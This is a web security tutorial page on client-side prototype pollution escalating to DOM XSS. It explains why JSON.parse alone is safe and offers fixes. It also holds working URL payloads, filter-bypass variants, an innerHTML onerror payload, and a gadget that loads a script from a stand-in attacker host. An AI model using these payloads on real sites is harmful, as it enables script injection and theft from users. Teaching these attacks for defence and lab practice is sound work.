Prototype Pollution: The Complete Practical Guide
Client-Side Prototype Pollution
How client-side prototype pollution becomes DOM XSS: polluting from the URL or JSON, why the write is inert until a gadget reads it into a sink.
Published
Client-side prototype pollution turns a URL or JSON source into DOM XSS, but only when a gadget reads the polluted property into a sink. The pollution and the payload live in two different places, which is what makes it distinctive. This page walks the full flow. Practice on a free live target.
Step 1: pollute from a client source
The source is any client code that takes a key path from input and assigns through it. The classic is a vulnerable query/hash parser feeding a merge:
?__proto__[polluted]=yes
?__proto__.polluted=yes
#__proto__[polluted]=yes
?constructor[prototype][polluted]=yesA page that parses location.search into a nested object and merges it into a config will walk the __proto__ path and assign onto the prototype. The URL carries the path. The vulnerable merge does the polluting.
Why parsing alone is safe
A common misconception is that parsing the input pollutes. It does not:
JSON.parse('{"__proto__":{"polluted":"yes"}}'); // own property named __proto__, NOT a setter call
({}).polluted; // still undefined
merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}')); // the MERGE assigns through __proto__
({}).polluted; // "yes" <- now pollutedJSON.parse uses define-property semantics, so the __proto__ key becomes a literal own property, not a write to the prototype. What pollutes the shared Object.prototype is a later unsafe recursive merge or deep clone that walks keys and recurses through the __proto__ getter into the prototype. A shallow Object.assign(target, parsed) is a narrower case: the __proto__ key triggers the setter on the target, re-parenting that one object (so the target inherits the attacker value), but Object.prototype itself is untouched. Spread ({...obj}) is safe because it does not trigger setters.
Step 2: prove the prototype moved
Confirm the write landed before hunting a gadget:
({}).polluted; // -> "yes"
Object.prototype.polluted; // -> "yes"A fresh empty object inheriting your property is proof the prototype was polluted.
Step 3: reach a gadget sink
The pollution is inert until a gadget reads it. Pollute a property a real gadget consumes, then let the gadget fire:
# pollute a config value some widget reads into a script source
?__proto__[transport_url]=//evil.test/x.js// gadget in the page or a library: reads a missing config prop, inherits the polluted value
let url = cfg.transport_url; // own prop absent -> inherits //evil.test/x.js
script.src = url; // attacker script loads -> DOM XSSA second common sink is innerHTML:
?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>This fires only when gadget code copies inherited keys onto a DOM element (e.g. Object.assign(el, opts)), which is uncommon. More often the sink reads a named property like opts.template into innerHTML. Real-world named gadgets include hitCallback and sequence (from PortSwigger's gadget research), and transport_url is a common example gadget.
Edge variants
?__proto__.polluted=yes dotted form (parser-dependent)
?__proto__[polluted]=yes bracket form (qs-style parsers)
?constructor[prototype][polluted]=yes when __proto__ is filtered
#__proto__[polluted]=yes hash source, never sent to the serverWhether dotted or bracket works depends on the parser the page uses. Try both.
Fixing it
- Parse into null-prototype objects (
Object.create(null)) or useMap, so there is no prototype to pollute. - Use merge/clone helpers that skip
__proto__/constructor/prototype, and validate input keys. - Avoid passing inherited config values into sinks. Read own properties explicitly.
Full guidance is in preventing prototype pollution. The sink here is DOM-based XSS. Next, learn to hunt sources and gadgets systematically in finding sources and gadgets, or try it on a free lab.